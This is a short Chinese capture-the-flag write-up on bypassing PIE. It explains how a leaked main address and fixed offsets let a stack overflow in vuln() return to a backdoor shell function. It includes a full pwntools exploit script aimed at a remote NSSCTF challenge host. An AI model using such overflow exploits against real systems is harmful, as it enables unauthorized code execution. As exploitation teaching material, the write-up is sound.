简单的PIE绕过
目录
前言
一、题目重述
二、解题思路
1.现有信息
2.思考过程
3.exp
总结
前言
所接触的PIE保护的第一题,也非常简单。
一、题目重述
二、解题思路
1.现有信息
- PIE保护——程序可能被加载到任意位置,所以位置是可变的。
- 程序返回了main的真实地址
- 存在后门函数shell
- vuln()中的read 0x50u >> 28h,存在栈溢出
2.思考过程
如果没有PIE——简单的ret2text,在vuln中的read处将程序执行流劫持到后门函数处即可。
然而存在PIE——所有的地址都是从一开始随机确定的,但是相对偏移量保持不变
获取了main的真实地址——可以通过相对偏移量推出其他任意地址,然后就是正常的ret2text即可。
如果把开启程序比作小船,那么PIE开启就相当于小船在茫茫大海上漂移,不过还好小船的锚是确定下来的——main的真实地址,我们就可以通过锚来找到这艘小船,找到小船上的各个房间(函数)。
3.exp
from pwn import *
context(os='linux',arch='i386',log_level='debug')
io=remote("node2.anna.nssctf.cn",28860)
#用于通过真实地址+偏移来计算任意函数真实地址
main_addr=0x770
shell_addr=0x80f
io.recvuntil(b"gift!")
#接收main的地址
main_real_addr=int(io.recv()[1:11],16)
print("main_real_addr:",main_real_addr)
#payload编写:溢出填充到返回地址前+后门函数真实地址(某函数真实地址+相对偏移量)
payload=b'a'*(0x28+4)
payload+=p32(main_real_addr+shell_addr-main_addr)
io.sendline(payload)
io.interactive()
总结
随着刷题的深入,各种保护的开启肯定是免不了的,对此多做总结,总是好的。